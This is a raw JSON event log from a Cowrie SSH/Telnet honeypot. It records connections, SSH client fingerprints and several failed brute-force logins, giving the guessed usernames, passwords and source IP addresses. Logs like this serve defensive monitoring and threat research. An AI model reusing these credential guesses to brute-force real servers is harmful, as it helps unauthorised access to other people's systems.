{"eventid":"cowrie.login.failed","username":"edu","password":"123","message":"login attempt [edu/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:21:53.282284Z","src_ip":"14.63.196.175","session":"86d04d25ca04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:21:54.481117Z","src_ip":"14.63.196.175","session":"86d04d25ca04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":53236,"dst_ip":"159.203.135.109","dst_port":22,"session":"7ce7aa75c731","protocol":"ssh","message":"New connection: 194.59.206.2:53236 (159.203.135.109:22) [session: 7ce7aa75c731]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:22:04.166617Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:22:04.173768Z","src_ip":"194.59.206.2","session":"7ce7aa75c731","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:22:04.266876Z","src_ip":"194.59.206.2","session":"7ce7aa75c731","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:22:04.364850Z","src_ip":"194.59.206.2","session":"7ce7aa75c731","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":72.88519787788391,"message":"Connection lost after 72 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:22:25.983986Z","src_ip":"94.23.66.112","session":"7f765e2ad34c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":48634,"dst_ip":"159.203.135.109","dst_port":22,"session":"d7ecb78b152b","protocol":"ssh","message":"New connection: 103.149.28.157:48634 (159.203.135.109:22) [session: d7ecb78b152b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:22:54.782326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:22:54.789501Z","src_ip":"103.149.28.157","session":"d7ecb78b152b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:22:55.033243Z","src_ip":"103.149.28.157","session":"d7ecb78b152b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"18051994","message":"login attempt [root/18051994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:22:55.760814Z","src_ip":"103.149.28.157","session":"d7ecb78b152b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:22:57.004427Z","src_ip":"103.149.28.157","session":"d7ecb78b152b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.50.236","src_port":40266,"dst_ip":"159.203.135.109","dst_port":22,"session":"9edb671ac14d","protocol":"ssh","message":"New connection: 161.132.50.236:40266 (159.203.135.109:22) [session: 9edb671ac14d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:23:03.867875Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:23:03.873519Z","src_ip":"161.132.50.236","session":"9edb671ac14d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:23:03.963648Z","src_ip":"161.132.50.236","session":"9edb671ac14d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"12","message":"login attempt [testuser/12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:23:04.350301Z","src_ip":"161.132.50.236","session":"9edb671ac14d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:23:05.441913Z","src_ip":"161.132.50.236","session":"9edb671ac14d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":51710,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c31cd6d264f","protocol":"ssh","message":"New connection: 194.113.233.25:51710 (10.17.0.5:22) [session: 2c31cd6d264f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:23:10.936462Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:23:10.941609Z","src_ip":"194.113.233.25","session":"2c31cd6d264f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:23:11.034893Z","src_ip":"194.113.233.25","session":"2c31cd6d264f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"21011981","message":"login attempt [root/21011981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:23:11.328740Z","src_ip":"194.113.233.25","session":"2c31cd6d264f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:23:12.425777Z","src_ip":"194.113.233.25","session":"2c31cd6d264f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":41006,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ceb70894749","protocol":"telnet","message":"New connection: 128.199.8.54:41006 (159.203.135.109:23) [session: 7ceb70894749]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:23:16.970131Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":43770,"dst_ip":"159.203.135.109","dst_port":23,"session":"565eb17df1e6","protocol":"telnet","message":"New connection: 172.81.62.90:43770 (159.203.135.109:23) [session: 565eb17df1e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:24:03.350344Z"}
{"eventid":"cowrie.session.closed","duration":49.658252000808716,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:24:06.628227Z","src_ip":"128.199.8.54","session":"7ceb70894749","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":53178,"dst_ip":"159.203.135.109","dst_port":23,"session":"9bbb3e36e70f","protocol":"telnet","message":"New connection: 128.199.8.54:53178 (159.203.135.109:23) [session: 9bbb3e36e70f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:24:30.626189Z"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":46320,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e39e9f836a9","protocol":"ssh","message":"New connection: 14.63.196.175:46320 (10.17.0.5:22) [session: 2e39e9f836a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:24:36.361392Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:24:36.365148Z","src_ip":"14.63.196.175","session":"2e39e9f836a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:24:36.572536Z","src_ip":"14.63.196.175","session":"2e39e9f836a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"oracle2026","message":"login attempt [root/oracle2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:24:37.423166Z","src_ip":"14.63.196.175","session":"2e39e9f836a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":55548,"dst_ip":"159.203.135.109","dst_port":22,"session":"448ec4b3b99b","protocol":"ssh","message":"New connection: 51.250.105.222:55548 (159.203.135.109:22) [session: 448ec4b3b99b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:24:38.373988Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:24:38.380764Z","src_ip":"51.250.105.222","session":"448ec4b3b99b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:24:38.507379Z","src_ip":"51.250.105.222","session":"448ec4b3b99b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:24:38.632223Z","src_ip":"14.63.196.175","session":"2e39e9f836a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:24:38.889338Z","src_ip":"51.250.105.222","session":"448ec4b3b99b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:24:40.019079Z","src_ip":"51.250.105.222","session":"448ec4b3b99b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.13107895851135,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:24:44.481288Z","src_ip":"172.81.62.90","session":"565eb17df1e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":49356,"dst_ip":"10.17.0.5","dst_port":22,"session":"a19709f0cc19","protocol":"ssh","message":"New connection: 27.71.230.31:49356 (10.17.0.5:22) [session: a19709f0cc19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:24:49.272488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:24:49.306275Z","src_ip":"27.71.230.31","session":"a19709f0cc19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:24:49.570247Z","src_ip":"27.71.230.31","session":"a19709f0cc19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Kings@Group@1994","message":"login attempt [root/Kings@Group@1994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:24:53.377219Z","src_ip":"27.71.230.31","session":"a19709f0cc19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.50.236","src_port":56310,"dst_ip":"159.203.135.109","dst_port":22,"session":"44b317103719","protocol":"ssh","message":"New connection: 161.132.50.236:56310 (159.203.135.109:22) [session: 44b317103719]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:24:53.673361Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:24:53.677156Z","src_ip":"161.132.50.236","session":"44b317103719","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:24:53.765109Z","src_ip":"161.132.50.236","session":"44b317103719","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"polls","password":"polls","message":"login attempt [polls/polls] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:24:54.152774Z","src_ip":"161.132.50.236","session":"44b317103719","protocol":"ssh"}
